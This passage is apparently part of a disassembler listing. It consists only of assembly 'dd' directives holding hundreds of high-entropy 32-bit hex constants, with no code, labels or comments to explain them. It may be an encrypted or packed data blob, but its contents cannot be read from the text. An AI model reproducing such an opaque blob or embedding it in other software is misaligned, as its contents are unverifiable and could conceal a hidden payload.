		dd 13934862h, 6FBA23A9h, 1C234Fh, 0EC083FBEh, 8F0791F7h
		dd 0BD2B83E4h, 38BA136Eh, 0BDBD8053h, 0C27680B6h, 2A486C7Dh
		dd 43AF8B4Bh, 1890F98h,	96FC2B17h, 6DA8CA30h, 676B1D44h
		dd 0A91D009Fh, 0E559034Eh, 9695604Dh, 0AB2935ABh, 7B7F802h
		dd 64B7FD96h, 6D5E0100h, 480BACAAh, 8082139Dh, 0A074C9DBh
		dd 0F512C923h, 1BAC94E9h, 0E6BD008Ch, 0C4BC82D4h, 0F2B71A0Ah
		dd 22492D73h, 18C022D6h, 99F3896h, 405BD92Fh, 54D0E14h
		dd 93BC4EB4h, 0B4DA00AAh, 328FCFD3h, 0F7949794h, 6DB7535Ah
		dd 0F160E8B0h, 0A06E9F26h, 78E9ED16h, 28C19ACh,	7F2E2140h
		dd 1FE13E51h, 13C972C6h, 14A3EE46h, 560B8784h, 0DF0745F8h
		dd 84D852Bh, 111169A6h,	0A06FE913h, 0DD128A1Dh,	512C18Bh
		dd 8F172ABBh, 0C927A72Ah, 2934FCC7h, 17382687h,	64EBC890h
		dd 33810912h, 0EABA0400h, 7CA83AAh, 0D88A50D5h,	0DAC04C90h
		dd 0D0B35F27h, 0DCF7B6A5h, 0E6B22B04h, 65BE4993h, 0E189BFBFh
		dd 51392360h, 41E2791Eh, 2041B3Bh, 7A9BA87h, 0BE169BC8h
		dd 59A08997h, 699001C8h, 805F7102h, 988D608Ah, 1EC3FC2h
		dd 84429DDCh, 3E909629h, 0E009FBF3h, 4E7F727Dh,	1CCC09F2h
		dd 2256D62Bh, 0E2714A47h, 162E4C91h, 80E1DBCFh,	0FDB68376h
		dd 2759480Ah, 4ED9D0Bh,	8541185Dh, 2B96840Bh, 971C625h
		dd 1CF58D09h, 29E58E74h, 0FFD221EAh, 19F220D1h,	66A30B4Bh
		dd 3A95768Dh, 282F9C6Eh, 0C2119093h, 2260915h, 518902Eh
		dd 505B5790h, 57FE37EBh, 0C9E8CDF8h, 0C5DB6F09h, 1C018C8h
		dd 5EFA6E9Ah, 0CC52A820h, 40559C50h, 0E9275B2Eh, 701674C2h
		dd 0D382A9C4h, 5DF57095h, 0D521490Ch, 0EDA9D8DBh, 6D4F2D2Fh
		dd 27CA8FCh, 88A4EFCEh,	0AFF110EAh, 55703600h, 58C953h
		dd 4D7893E7h, 0B590EA08h, 0F40F62E8h, 0C0815752h, 66AC05B9h
		dd 0AD31FD5Fh, 0BB507C00h, 19D6189Ch, 148F1A23h, 0CF90558Ah
		dd 0DF02B3B0h, 34986F29h, 4DA782CEh, 0BD5F0420h, 9AD4A5Ah
		dd 6557FAEDh, 671E588Ah, 0B8255805h, 1FA2ED76h,	0E88B2B09h
		dd 9EF0C7D5h, 65524998h, 1C59827Bh, 0D1509018h,	0A70958FEh
		dd 0F7542A8Ah, 306AE199h, 6925B5EDh, 0D2E72F0Ch, 0B8B733E8h
		dd 0B22210AFh, 73A10EDDh, 0B212B081h, 76BC5ADDh, 5AA9210Eh
		dd 4BC8BAA0h, 4901594Fh, 0E62FAB45h, 246E5770h,	8CB2BA19h
		dd 0A8E45D86h, 4B146120h, 0BF6EC05Fh, 8A25AAD2h, 0A1ADF562h
		dd 3AF26A99h, 0D420F511h, 0E9D92F7Dh, 1970C170h, 6314413Dh
		dd 49EB13BBh, 0C44BFC0h, 6872050Ah, 0B2F9856Ch,	8DD9002Ah
		dd 0FE765B77h, 2C733A36h, 7B15F072h, 6E8197E3h,	0E6999D01h
		dd 0D025A25Ah, 6066E20Eh, 8030D5ACh, 0B5F0C82Bh, 0CD4CE94Ah
		dd 5A31A8D1h, 25A8F624h, 0E7AB5509h, 29F51802h,	1AD70Bh
		dd 0BFC139DCh, 462FA012h, 0ED55956Ch, 16DC10B0h, 6FD38004h
		dd 0C2265BDh, 2862E928h, 4B018F22h, 0CB26AEF9h,	2D125DEh
		dd 46C4B876h, 0DE8B6042h, 0FB109898h, 9D81CB00h, 733F2FD5h
		dd 0AF021E47h, 8361C553h, 0FE2C02A5h, 3FF9880Fh, 7502F202h
		dd 630BFC5Eh, 0D1D8D781h, 0D8D04722h, 0D0AD9C85h, 89149744h
		dd 1910CD20h, 2F3DBD89h, 2B6F2B6Ah, 0B65FB807h,	6AF05031h
		dd 0B19788D9h, 0E130B5Eh, 0D286FCA8h, 49620700h, 0B9B60AB8h
		dd 3E6DF1C4h, 0DA259DE8h, 7D6AE2A9h, 3BC0D8CDh,	5E9FCFE3h
		dd 2158827Ch, 17ACFC05h, 0F5C02B09h, 574AFF5Eh,	5E20E909h
		dd 0B3DEFAE0h, 3C0E35D4h, 0DB53AF82h, 0B0E22BB6h, 0F04B655Eh
		dd 0C09827A0h, 85294E98h, 64EA894Bh, 93FDC386h,	38FA16C0h
		dd 316E730Eh, 0A00701EBh, 32FB4341h, 5B39499Ch,	9EDC5F5Eh
		dd 0B500D4DBh, 79989A23h, 917637A1h, 957280A3h,	43B6D1C5h
		dd 58401E00h, 2D1D6024h, 0FB8B254Eh, 7E2761E5h,	87B7AFB3h
		dd 3EDDB102h, 0FD014025h, 396C970Fh, 64FCFC95h,	0D65FBDF9h
		dd 0FBA5E7F6h, 38F88B84h, 0E8E1FF04h, 0C5994E0Ah, 2F806CACh
		dd 4AF60E0Bh, 0F01F1339h, 94975F9Bh, 893E4468h,	265D9D12h
		dd 468546F3h, 207AFB04h, 0F88B0E09h, 0E5465B79h, 5F502649h
		dd 0FE62A586h, 9A70175Bh, 0DEF302D2h, 6FAE907Dh, 75F3105Fh
		dd 276C0E42h, 9662CB21h, 5ED6849Dh, 661AC225h, 0F0FF04D3h
		dd 0EE6E3956h, 4A1AAC9Dh, 3C0C56C0h, 0D2146CFFh, 12C728C5h
		dd 6FAE2DB5h, 1D23FDh, 125759B5h, 601D8DB8h, 0C665D52Ch
		dd 75CDA1D5h, 905CCC2Fh, 0B90E0BE6h, 0F6500708h, 1282EBDBh
		dd 0E1663EDFh, 7B957000h, 45C86428h, 9C6E17A4h,	0E97CBD3Ch
		dd 120C68F4h, 12E9C471h, 448B8D9h, 165A92F3h, 52DCC3E1h
		dd 0F94C955Eh, 606D9895h, 402194F5h, 0A6172511h, 8F5F4700h
		dd 79BD8E42h, 0CC06001Ch, 361ACE01h, 610E5A77h,	1C0232E9h
		dd 1A9D7823h, 500FE37Ah, 73EAAD8Fh, 3B35CCC8h, 0E0B89377h
		dd 8D274BFAh, 9C132A80h, 23756BAFh, 31F40215h, 0DC42B529h
		dd 0B57E6EF5h, 1659EB73h, 91004666h, 689BEC2h, 0BC1210BBh
		dd 64646A04h, 161846E2h, 77BD4C7Fh, 0F9448B02h,	5C7BA8E6h
		dd 1B7B2D20h, 1CAB0A70h, 6412A11Ah, 50DE0468h, 0A7B260h
		dd 6C9C7E7Ah, 0D9E5B9h,	323B2F11h, 0FB8687A8h, 790B910Bh
		dd 8151960h, 756F0h, 1AB2B7A6h,	8E698402h, 578D5A04h, 42FE615Bh
		dd 5850F91h, 36259FCCh,	5753C2DBh, 7F80BF3Dh, 0E464F45Ch
		dd 2C47106h, 6B3F68F5h,	0BEFC1231h, 0A478B002h,	125D0B6Ch
		dd 2E02605Eh, 7806BB12h, 844E9B2h, 0FF860313h, 8C7EEA76h
		dd 4B7CB9A4h, 0E880CA9Eh, 379CACFh, 0A2EB201h, 5690F8ACh
		dd 4E07C723h, 0F38E119h, 3B18EEE0h, 53003925h, 45DCB42Dh
		dd 28BE2080h, 39F05BC1h, 0BA8F0FB6h, 4AAB157Bh,	5200BDF1h
		dd 57458DE7h, 0A12D006Eh, 46414A3h, 0E8EA27A9h,	90E18150h
		dd 285B795h, 0AD3E159Ch, 3B5DA741h, 0DA97E2A3h,	73A380B5h
		dd 0B8B68AEBh, 0F9615B07h, 4F5B8FBh, 49BD3325h,	0DAB21229h
		dd 0C99D33C1h, 39CE2B02h, 0C6EE2727h, 335F5B00h, 0FCDA4E0Eh
		dd 8BC50047h, 582FF72h,	21E4D6CEh, 11A0AC4Fh, 0E4758A19h
		dd 0E38012AAh, 6E6BBAC9h, 6D301DE2h, 76DC006Fh,	0FD3B10F9h
		dd 39B0943Dh, 30030125h, 4E9B1E9Ah, 47FBA054h, 2A928000h
		dd 0A672B00Ch, 0E6A70074h, 0D178EB81h, 5F2E3035h, 85588F8Ah
		dd 3F538938h, 0BA936CA8h, 965F0332h, 371D67ECh,	2191D20Bh
		dd 0F92D9457h, 74AE8844h, 0D297A82Dh, 9A4E75B7h, 1398F39h
		dd 96CEA69Ch, 0D189B53Fh, 0EE8ACCC1h, 4A66FC9Dh, 0A49614D1h
		dd 4E72A94Bh, 1CACC1ADh, 954B008Ch, 4854FEA4h, 0B812DA02h
		dd 90BA8529h, 21499D5Ah, 6BD1D19Dh, 8266EB5h, 0B63515BAh
		dd 88BA92A2h, 1DF8316Ch, 40B57995h, 0C4DB8153h,	168E8A0Eh
		dd 60F3E15Fh, 57F64933h, 0B19DD730h, 3D9D145Bh,	6F1E122Bh
		dd 56832D6Fh, 60D926FEh, 0B2C23DCBh, 0D0D13700h, 3E10365Dh
		dd 0F57EC5E2h, 3B20AF1Dh, 4E62BB66h, 0ACD4E96Ch, 1E058C18h
		dd 8B7B2E25h, 84D1A20Eh, 3B805E5h, 591058D4h, 38895F0Eh
		dd 9EA03Ch, 0D1EBB09Bh,	9D003DBCh, 0C3CB6DF9h, 0E4A1EC12h
		dd 8027E3B3h, 0DA51DF14h, 5D0EF704h, 82EDAD5Bh,	241AF9B5h
		dd 0FCD6AC52h
		dd 0E9128C16h, 0C382F1A6h, 586DF50Eh, 77373E9h,	0D0025A95h
		dd 2E7C34D6h, 0F2A3D0D2h, 0D5B58904h, 0E2CEAC04h, 28A4283Ah
		dd 20514BCAh, 9AE0827Eh, 0DC288725h, 0DBF83468h, 69ADC272h
		dd 0A1EDE45h, 0E07E7D9Dh, 2C9AEF81h, 6E584125h,	33EDB58Dh
		dd 8CAB4744h, 85045530h, 20118D89h, 127CCBEEh, 7FB20C4Dh
		dd 809F9AD7h, 0C679E74Eh, 0E9A34C1Dh, 47D54C04h, 0A284AC72h
		dd 9802C42h, 7BE6264Ah,	31301DF2h, 2927DE2h, 0D54D9F66h
		dd 6655CD5Fh, 8DB7128Bh, 2DA321C6h, 878F2B24h, 0A110C048h
		dd 88E9132Fh, 0F89217BAh, 0DA174E8Eh, 0B3DB1921h, 12B006E8h
		dd 0B380D4ACh, 21326F6Fh, 0D98B9084h, 4A65A63Bh, 0B6A710A6h
		dd 4ABFD001h, 6EB07D77h, 691FFAA1h, 35173494h, 1F8B7AABh
		dd 70019479h, 13E31FB3h, 0B8A6D085h, 16EA8407h,	92EEB937h
		dd 680916B8h, 5E585B24h, 0D11D09BDh, 9F6E00E0h,	0AA5693C5h
		dd 9895E700h, 0AF677B7Ah, 0EF604EEEh, 0D9850631h, 61135978h
		dd 0AE88BF5Bh, 9273001Ch, 0AC3C6BEBh, 409528C0h, 998F0F58h
		dd 522281h, 6E1C211Eh, 801370E4h, 50D1E72Fh, 226D9536h
		dd 57DE0EC2h, 0C040F86Fh, 957C6AE5h, 0B8257A9Bh, 0C43D381Eh
		dd 0B0F33CECh, 25875D00h, 0ACF9DA0Dh, 62B2EF01h, 3AA94146h
		dd 0AEDFBA40h, 0CD5B4AFAh, 0C896098h, 0C1A3DC8Ah, 892441BDh
		dd 58F8B779h, 0C59D10A7h, 84BBF30Dh, 0DFA0FEE7h, 1D3AB9F4h
		dd 76C88C8Ch, 532B57Dh,	0FC026A54h, 8054AC90h, 0C8C389F4h
		dd 0E92EE3FAh, 9860A26Ah, 7FF09195h, 699A0068h,	11B98074h
		dd 8400370Fh, 95B8CA0Ch, 7D5E0BF3h, 0FAC52766h,	2A607441h
		dd 3C125588h, 7A808BC3h, 87849073h, 3F0718E2h, 61C58A62h
		dd 0ADE537ABh, 894921F4h, 7DAAB249h, 0A4A1F710h, 3C924A00h
		dd 73E2D805h, 0E19D3023h, 0BFE95B29h, 20EC9C95h, 0DF82B8B0h
		dd 298592D4h, 6FA06995h, 0E6514AB7h, 3317B222h,	0F9BCADD8h
		dd 4DB79013h, 12253BA8h, 887F653h, 6FF03C4Fh, 255D019h
		dd 0A64452B3h, 0F88190E6h, 2A9DFDEBh, 1CE2EDE6h, 1336030h
		dd 228E6139h, 2B5FCFA3h, 0B516B364h, 8D8ED2ADh,	9D0B0471h
		dd 0CBC82DB9h, 6AD416B6h, 0E122E6FFh, 0B06EA574h, 1C5EA965h
		dd 0AC9646DEh, 5B8D2D2h, 349C984Ah, 60C0B089h, 0D5D70281h
		dd 29208A0Dh, 0B098E4F7h, 21B5314Fh, 8470E6DFh,	71E4F84Ch
		dd 4C8F22E8h, 0D6FC440h, 0BD3CAF8Ch, 0D9780010h, 9943272Eh
		dd 9DC9253Eh, 0C2F78D69h, 0E12791Ah, 19203255h,	0C160183Dh
		dd 78CACC00h, 575FB2BAh, 0E88D4A31h, 30AE9613h,	0E927BF1Eh
		dd 2AAE6195h, 5774C112h, 0DE342840h, 0C62013F8h, 0E9CAA46h
		dd 9D297560h, 5624B852h, 4232E65Bh, 8D868204h, 41DD091Ah
		dd 9740C85Bh, 12109ABBh, 67D18B30h, 43CFE007h, 583BEE8Ah
		dd 0BF76D0E9h, 2A40DE58h, 0FF5A0908h, 239DC9E4h, 0DA1220C9h
		dd 8B1D83B4h, 506EBDD3h, 0D9F78026h, 2F4C4A33h,	1D514EE9h
		dd 0BCC7BA4Dh, 0FF8D8B03h, 800F0312h, 95F5A1B4h, 152C9591h
		dd 9D8904AEh, 0BA0A1313h, 0FE181EA5h, 802439AAh, 67AA9589h
		dd 89157975h, 7B590BF5h, 0C37D042h, 929D0522h, 513282D3h
		dd 0A1CE551Ch, 6FCDF2CCh, 0FC131B9h, 93D8B76Dh,	6782FCBAh
		dd 0BBE00E2Fh, 502C6C48h, 805A46B5h, 2D1A4BD7h,	4F6DD22Bh
		dd 0F505EBCFh, 0D95D2DB2h, 0C362302Dh, 0CBA32213h, 75BA8FE3h
		dd 4E7B4D56h, 90CE4FCh,	1094B576h, 7D1A4225h, 580B90BDh
		dd 3FA0441h, 354BFA55h,	4A2DA862h, 4A8A1B8Ch, 0D21CCAFEh
		dd 0F7702C8h, 0D9BFB729h, 2C6096AEh, 4BFD51FCh,	7A256217h
		dd 0F916AEF7h, 0EE38AE2Bh, 5D7B977Fh, 2C032D8h,	188258FEh
		dd 1540A4DFh, 0B2952C51h, 195C6009h, 0AA599521h, 0F3ED395Ch
		dd 0D14BBA8Fh, 99CFEA0h, 7A95D9BDh, 8BE117FDh, 0E69288F8h
		dd 430D841Fh, 0AF816D40h, 1714218h, 3F5BEE9Fh, 2BC3BBCFh
		dd 8AB41328h, 0FFD96C41h, 735DA12h, 0B88817B3h,	5A3AF0A5h
		dd 8853B329h, 9B60926Fh, 8E6C854Fh, 2005D182h, 73820EBBh
		dd 2A091475h, 58393C36h, 0E25EAD28h, 260D40Eh, 64B5172Dh
		dd 8004B14Ah, 56E02E88h, 1D01B1A9h, 7B5E67F4h, 522C4A5Bh
		dd 6F7A6480h, 7625AD63h, 932A6948h, 0B018F73Ah,	0EB1C06Bh
		dd 8F8D6116h, 520D3B00h, 5D589D01h, 52E19245h, 0AD4BCD79h
		dd 14EDE810h, 0E51EEEB8h, 0AF143D13h, 0B1824274h, 2DC62811h
		dd 0B3C13857h, 0A3DA12AFh, 0EA27FB47h, 9616022h, 0F4013FC4h
		dd 3A6DBD8h, 1C81585Ah,	242E2BBh, 93F27B4Ch, 3F62B94Fh
		dd 0D2509666h, 0F43E2DABh, 59B7A39Dh, 0C0939FFBh, 849B6E3Dh
		dd 0DB02A4A0h, 5EBB412h, 39DFC09Dh, 60FFCB8Bh, 0B264720Eh
		dd 0CE99AA02h, 0A116EDC7h, 950F34EBh, 5324FF5Eh, 6A808FE8h
		dd 0FA3C9961h, 0BA58C600h, 0E171D12h, 0FE56D20Ah, 5BE5A699h
		dd 9DF80CB9h, 14015637h, 28764B5h, 0BD09006Fh, 0C18D8979h
		dd 5C74225Fh, 0FD8096E8h, 50994D9Bh, 0FDB78B9Dh, 7B00313Fh
		dd 6BAE54A4h, 897E0B31h, 0DB243865h, 97021621h,	0D05B5h
		dd 1C4E95Fh, 49D55682h,	1B619BDCh, 44713B02h, 0F993172Ah
		dd 0CA6EE924h, 0F1EE6276h, 2FE5D523h, 408B4DA5h, 0B6EE34Ch
		dd 54264297h, 9976EBBBh, 3C9001DCh, 0B5AB483h, 0F040D648h
		dd 6EB50C71h, 9A37B0CCh, 54C73FF7h, 9794FAC9h, 0AB465A7Fh
		dd 1F004C6Eh, 40379BCFh, 39254D3Bh, 5515189h, 20E85350h
		dd 3768A3DCh, 986B6701h, 39E4FD80h, 9481863Ch, 0F8FB9FA4h
		dd 7C00E9F0h, 1A20FC8Dh, 0D65F3088h, 0B9378402h, 48CCB947h
		dd 9F3FC0Dh, 38F683BBh,	8A4CC59h, 6876803Ch, 0B7F0426Ah
		dd 0C0DF4B8Bh, 2EC19529h, 0FC554855h, 0E7042A8Fh, 4F0CD715h
		dd 7E8EF2EEh, 0A8BCCC4Bh, 0B72F9451h, 8B9DA0D2h, 0D0DA01AAh
		dd 6344252Ch, 0CB9228F0h, 2B115D89h, 0EB92BC50h, 0ED6C55AEh
		dd 90CBF304h, 9AAEFA8Bh, 0C516C82Bh, 6119C2E1h,	2E0FD4Dh
		dd 3AC8B28Dh, 0D1094CF3h, 65551B05h, 0D9D849Eh,	0D2673C1Ch
		dd 8052BC27h, 1CD9E698h, 9D2CFD66h, 0ADB00D80h,	7A079A75h
		dd 51B940C5h, 4E7B03E0h, 8B80177Dh, 2F3BACD8h, 0D8E8DB59h
		dd 362E0164h, 26022C6Ch, 5C1297AAh, 46CD4062h, 7500197Ah
		dd 2E7BA36Eh, 4F83371h,	0A00FC4DFh, 18F38279h, 78509D55h
		dd 6DB7DEBFh, 9F61CA4Ch, 58A57CAh, 0CE2D2914h, 7C853CF9h
		dd 0A6BD9Dh, 40DB82ADh,	0FC24B37Fh, 0C709EDEEh,	6B25168Fh
		dd 30FF5B89h, 4A3FBF17h, 0AC1CB945h, 6E038C1Ch,	0D8E669CCh
		dd 0AE49808Dh, 0F1DF0581h, 0AB5ED2F2h, 219D5ED8h, 0D14902C1h
		dd 9D9A009Dh, 0EBD02FE0h, 5B04B174h, 50964CCEh,	0C4838Ch
		dd 0F47D629h, 8AFABF0Dh, 5F74420Ah, 16DEA496h, 0EEE50B9Dh
		dd 57077E49h, 1991D435h, 31FC7687h, 2B8762CDh, 0EF80A930h
		dd 0BF89ACB8h, 0B3D5810Bh, 0F459B309h, 3EB3DDAAh, 9D845DEDh
		dd 0D980AD20h, 432DD118h, 6F04C212h, 327900F5h,	0C810D0EEh
		dd 0B9A60921h, 7658F5CFh, 13DCFDBEh, 14A64BD1h,	651302CEh
		dd 0F074AB1Dh, 20D772A8h, 0C01F5A83h, 0F8B96509h, 818D56Ah
		dd 0C10785C4h, 0FAC9D53Fh, 0F86B2653h, 0BF38255h, 6DC87C8Eh
		dd 2B094FD4h, 59345B24h, 228181Ah, 0AC6E74DFh, 57DE77Ah
		dd 0DBFE22D6h, 5AD8D2B1h, 2B3F0F4h, 1490230Bh, 0A140AFD3h
		dd 6D123E52h, 0C1FE9633h, 0DFBDB780h, 0DF02E9B7h, 0E65463E1h
		dd 551B49E2h, 17917337h
		dd 4B233481h, 8DBC3F18h, 24E909D6h, 5AC7A659h, 0F4885E09h
		dd 0D6160C00h, 58DAA226h, 50CF271Eh, 89F9F47Ah,	0C461F906h
		dd 44BC1F25h, 87A784D8h, 4AD0ACAFh, 258E6EBEh, 5044C577h
		dd 9F0295ACh, 0E5FC40E2h, 1E8DC6EEh, 49D6D63h, 0EE7F7D67h
		dd 0A15E21CBh, 0FC352A84h, 0A91B5D49h, 0FC4F7C47h, 0D0210A09h
		dd 290F824Dh, 0C9657531h, 59DEB709h, 0E6447D2h,	776FEE13h
		dd 5D922500h, 628DB270h, 0BD4A5890h, 0C85B59A6h, 630053E2h
		dd 6AE418F1h, 123E8E45h, 0C81BD150h, 64019ECDh,	0E1F487F6h
		dd 0B62AC65Fh, 1DC900B4h, 1F0E925Ch, 497B0054h,	0BF840847h
		dd 0B0E0DE4Ch, 56274625h, 7AFA71D6h, 1928C6B1h,	8B0D5105h
		dd 8132BAC1h, 583A55FCh, 0BDB555h, 0A67A854Fh, 0A0B521CCh
		dd 0E7BA603Dh, 547400E5h, 0B61DB966h, 3CF95061h, 1CBFC009h
		dd 0F412D54h, 0CA8B585Ah, 0BD339080h, 59952189h, 18318859h
		dd 0C7609F24h, 690F6997h, 24FC247Fh, 0CD9900DCh, 42A979D0h
		dd 0F54A5198h, 0C7F9FA02h, 3DB7F507h, 2358487h,	0EC3FCBE0h
		dd 84744B58h, 0E021A61Bh, 1CAB74Eh, 0D5639771h,	60980E95h
		dd 1F40A5A4h, 91BD5B29h, 6A5350E6h, 0B02963E1h,	7A03C5BCh
		dd 954BBFE6h, 776A9AEBh, 1B87FB7h, 0A0D5522h, 8F7461C9h
		dd 8D0F802Ch, 0E98D5697h, 2D9EE575h, 0CE402B6Fh, 0B5D5BD31h
		dd 0CB0BB3F1h, 86ADCE5h, 9DF61DF9h, 0D4C41EC4h,	74AA2199h
		dd 608F8DEAh, 0DE009697h, 0BD443FAAh, 0F3EE7h, 4DCBD7FAh
		dd 203DB149h, 9D03550Bh, 0D16F1141h, 80179B2Eh,	0E580F0F9h
		dd 0E6052C2Ah, 0B9E11568h, 30256E4Dh, 8A1784C7h, 0E8EC48A9h
		dd 0DE908D00h, 7395387Ch, 26A0835h, 9BD05E9h, 84AE31BBh
		dd 19B2897Ch, 0B856C44Ah, 0D877817Fh, 5EE80F84h, 0CC203F3Eh
		dd 712FBB82h, 8B77473Ah, 0A22BD54Dh, 6EC1704Dh,	872A6DC9h
		dd 0CA2945F7h, 0BB660570h, 0EC1E420Eh, 16E92DA2h, 0E9CF9A59h
		dd 5E1289C8h, 6D00DC29h, 0A3D09778h, 5A91B589h,	0E87AA91Ch
		dd 2591989Ah, 605B29C1h, 77044DA6h, 0E2EA907Fh,	4A905A92h
		dd 27D8BB36h, 0E75C5BC8h, 5687D91Ah, 9AD7C967h,	0DE91029Fh
		dd 0C2DF09ACh, 73FB576Dh, 90CE5Ah, 6ECCA542h, 101E5394h
		dd 6AAE164Ah, 5A172E33h, 0A139F3C0h, 1D109577h,	0B800DFBCh
		dd 589F8B50h, 0B7F46Dh,	0E36291A0h, 0FF6ACD24h,	0D7843BBh
		dd 949D2CA6h, 0A1006BDBh, 7D584FE4h, 55173A03h,	98993D20h
		dd 17390BD1h, 0FEBB6C9h, 0F6F66580h, 0C28500A7h, 2B42BAAh
		dd 0EAD1BF0Eh, 629F6C25h, 0B0F52FFBh, 25393BD4h, 92C41Ch
		dd 0C4BBFAB7h, 0E46B65A4h, 0F88B7112h, 8ADC81E4h, 2610A754h
		dd 8087C04Ah, 5CB555EBh, 401C4AFBh, 0F3B51D78h,	11DF2B0Bh
		dd 40268CF5h, 0EF174B45h, 0C4D92433h, 1EE8E013h, 7E2F788h
		dd 0BC41FBBFh, 5F56EB18h, 25164237h, 1D11E31h, 23E26795h
		dd 292275F0h, 80E92D30h, 1D259C10h, 19637DDh, 91D335F8h
		dd 3307C04Ah, 77D80145h, 0B7D5383Ch, 0B51E4EFBh, 74482B4Bh
		dd 9D238410h, 4601C835h, 81BF17C0h, 97717BAFh, 6B40671Ah
		dd 9584E995h, 31422959h, 5FEADD9Dh, 0D0CA6656h,	4292D20Dh
		dd 85606102h, 815841A1h, 8107558Ah, 66612E61h, 7DF64791h
		dd 0D9E4844Dh, 0F665E787h, 80149EBAh, 0D88B3E56h, 0DCD6B5F8h
		dd 0A337BFEh, 645BFDE1h, 0B9C7028Ch, 1BD52B60h,	0F32C948h
		dd 0FC1C222Fh, 0D0E04EEDh, 16AF95FCh, 0AC56FA2Ch, 0BB07DF98h
		dd 44F940Ch, 9F6C02Bh, 0BCDB1EE0h, 1BD0B0Bh, 0F931D71Fh
		dd 0D6E77AF9h, 68E6F4h,	99AB9F54h, 135FB916h, 0E10851C1h
		dd 3DE3E945h, 4A1B8F2h,	0B257F987h, 4B76BC7Ah, 35210E89h
		dd 0AA92942Bh, 19C8DE9Ah, 0A91040CEh, 994315BBh, 4166809Fh
		dd 0B4C6AEC9h, 47BCBF25h, 0BDB309EAh, 31822679h, 55216D85h
		dd 18E9BA65h, 2442D6Dh,	0DDC30CABh, 0EACD3548h,	1DB882E0h
		dd 98DB675h, 3C792595h,	7BBB77C5h, 14D1219h, 0B88E12F8h
		dd 707BBF12h, 0BB4DFD04h, 0D44EBC49h, 0BFA53188h, 6E2AE1FFh
		dd 0DCF7006Ah, 0A6D6963Eh, 0CAB14B90h, 0F6732734h, 3501F6DDh
		dd 9D89F52Ah, 382F1A11h, 488A5D4Eh, 0BD2AB9AAh,	9DF0944Eh
		dd 4B0D3120h, 7B5CCA61h, 5E2C628Ah, 2D4CB194h, 0DB600231h
		dd 89E070CCh, 1F342702h, 5790887Ah, 2B02F371h, 0D50FFDBDh
		dd 0B5899090h, 8A894EB4h, 910D7DAh, 9D8C2C8Dh, 9ACD9C4Ah
		dd 0CBA97DEBh, 76A727D9h, 0FFF16BFFh, 0A031D5C0h, 0ECE7004Bh
		dd 0AA9B8424h, 0AB97384Ah, 0D23D551Eh, 52F89B13h, 87813F3Ah
		dd 311B2003h, 271872BDh, 32CD990h, 1F55A4DAh, 643A9890h
		dd 0FADD212h, 3F8C89AFh, 0E37A2FB1h, 0DC19007Ch, 0A7D3CC78h
		dd 90AF255Fh, 5C272DB7h, 6AF589EEh, 0C0871AD5h,	95ADFD71h
		dd 64442D76h, 0E874C8EFh, 0DD4E883Bh, 40E20A3h,	2E10685Fh
		dd 9FA2BE56h, 0EF5A6000h, 0D70CDFB0h, 8D88BD00h, 82657B30h
		dd 0A0D64A63h, 2D17EF15h, 0CFBC2149h, 0AC4E3D4Dh, 3102AA43h
		dd 86355042h, 3BC2715Fh, 168C9E00h, 0A2095756h,	0E6859312h
		dd 0B64B2DF2h, 34DEF0CBh, 0B8FCF864h, 92E43AF7h, 0E701CF12h
		dd 5EEEA0D9h, 0C06F95BCh, 0D9167326h, 385C6BAFh, 9F867014h
		dd 1C0441Ah, 569716D1h,	0B0B7DC40h, 0F10E841h, 0D791AF70h
		dd 0DFC6711Eh, 0AF827A5Bh, 9294FA81h, 157D2051h, 0E1242790h
		dd 0F50E005h, 63BABE89h, 41132381h, 0A3E30446h,	0C0F63127h
		dd 0A1645F49h, 58F39400h, 38FBFF61h, 6E45008Ah,	5FD3C473h
		dd 0E901823Bh, 0EEBB9BDEh, 8AFABC2Ah, 2F2453FDh, 0A6351551h
		dd 0C8B19A2Ah, 5DF6C016h, 0E72780CCh, 11765B9h,	28F236BFh
		dd 0FA0F7044h, 0CC45ADE5h, 8FB6A3D0h, 0AEDD394h, 0CE74BA80h
		dd 79BD0EB7h, 0D88B8F48h, 0BDE013F2h, 0AAA64AC2h, 0C03019B2h
		dd 93970261h, 9D316C28h, 8A425CC6h, 45FDB84Bh, 0DECCA7CAh
		dd 0AE081273h, 5F441267h, 790E5149h, 104FAF3h, 0DAAB25F9h
		dd 0C01BC8EFh, 0EC9A8FA7h, 0DC66905h, 0C2EA61FDh, 85E7FC2h
		dd 25A0745Ah, 551CE045h, 52F65E38h, 12E9F6F0h, 812B13C0h
		dd 19BBFDh, 0E3AC4D54h,	1327BE0Eh, 8CBA6A01h, 38E90A72h
		dd 2AA73Ah, 0B8C09C32h,	5A35F4Bh, 55242BBAh, 0FDEB129Fh
		dd 0F1F84BB3h, 5E48EF09h, 4D7F371h, 0BBF59531h,	0CCC0D5DEh
		dd 29F13752h, 6FE9BD24h, 0CF80608Eh, 4D8D427Ah,	889CE72Ah
		dd 0D0AC3985h, 3CAEB912h, 27D32685h, 0FC1C4C6Fh, 21F785EAh
		dd 0D3CF023Bh, 31556CF9h, 0B92AD800h, 745CA978h, 5473017Eh
		dd 250B5D6Fh, 3B816EC9h, 0EA04219Dh, 612577A2h,	59695E56h
		dd 0F3FC9286h, 7AC5F0Ah, 2C2D4510h, 2760F496h, 0BB2276h
		dd 0E6029C14h, 0AD7FDA63h, 0D5D31A0Bh, 63817F85h, 7A96AA0Eh
		dd 88466DBh, 7E9A8C66h,	0C4F07D1Dh, 4C88A600h, 2BCAB1h
		dd 6258DE94h, 0E8491DA4h, 0F20C44h, 0B58C5342h,	0E426406Ch
		dd 7ED9A816h, 0D83FFAA8h, 0A7E4B1ADh, 0DAD5860Eh, 13DE20F1h
		dd 0BD88493h, 0D9AD8CCBh, 1ADFC589h, 0F0DB3269h, 0CD72159Dh
		dd 0FD005554h, 3DB6C30Fh, 8E0033DFh, 3CDED0BCh,	1281EFD1h
		dd 0ABFFF5D9h, 0D897969Ah, 99027509h, 0BDEFDD68h, 0EED75D0h
		dd 61601564h, 0EA0BBF38h, 561B5634h, 86E8CC22h,	85CCC84Bh
		dd 8D9D2F0Bh, 5251C85Eh, 2EE5F12Eh, 3A9B7D12h, 0C531AC93h
		dd 0DCA80939h, 0DB26BE92h, 20502D44h, 184BDDF0h, 0FB7265DDh
		dd 3C270100h, 0FD7DADC8h
		dd 35F3DF04h, 76BD81A7h, 0E8F2AD4Bh, 0E43D2D0Dh, 4269C9F6h
		dd 81852075h, 2D42B4E3h, 0D06438E8h, 801CF301h,	7AE73951h
		dd 132C0FD4h, 0B979C2DAh, 0BF1E86Ah, 23F479A5h,	4BE70B82h
		dd 1709B4DEh, 0EEB35EF6h, 8BF619E9h, 71B46DEh, 3429E2BEh
